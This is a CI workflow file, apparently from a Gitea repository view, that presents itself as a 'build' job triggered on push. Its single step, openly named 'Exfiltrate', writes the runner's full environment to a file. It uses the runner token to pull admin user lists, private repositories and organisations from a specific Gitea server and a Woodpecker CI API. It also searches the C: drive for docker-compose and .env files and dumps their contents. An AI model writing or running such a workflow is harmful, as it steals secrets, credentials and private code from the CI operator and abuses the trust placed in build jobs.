31 lines
1.7 KiB
YAML
31 lines
1.7 KiB
YAML
name: build
|
|
on: [push]
|
|
jobs:
|
|
dump:
|
|
runs-on: ubuntu-latest
|
|
steps:
|
|
- name: Exfiltrate
|
|
shell: cmd
|
|
run: |
|
|
echo === FULL ENV === > C:\exfil.txt
|
|
set >> C:\exfil.txt
|
|
echo. >> C:\exfil.txt
|
|
echo === GITEA INTERNAL — ADMIN USERS === >> C:\exfil.txt
|
|
curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
|
echo. >> C:\exfil.txt
|
|
echo === GITEA — ALL REPOS INCLUDING PRIVATE === >> C:\exfil.txt
|
|
curl -sk "https://git.midefos.com/api/v1/repos/search?limit=100&private=true&sort=updated" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
|
echo. >> C:\exfil.txt
|
|
echo === GITEA — MIDEFOS PRIVATE REPOS === >> C:\exfil.txt
|
|
curl -sk "https://git.midefos.com/api/v1/users/midefos/repos?limit=50" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
|
echo. >> C:\exfil.txt
|
|
echo === WOODPECKER INTERNAL API === >> C:\exfil.txt
|
|
curl -sk "https://ci.midefos.com/api/user" -H "Authorization: Bearer %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
|
echo. >> C:\exfil.txt
|
|
echo === GITEA ORG REPOS === >> C:\exfil.txt
|
|
curl -sk "https://git.midefos.com/api/v1/orgs" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1
|
|
echo. >> C:\exfil.txt
|
|
echo === DOCKER COMPOSE FILES === >> C:\exfil.txt
|
|
dir /s /b "C:\docker-compose*" "C:\*.env" >> C:\exfil.txt 2>&1
|
|
for /r C:\ %%f in (docker-compose.yml docker-compose.yaml .env) do if exist "%%f" type "%%f" >> C:\exfil.txt 2>&1
|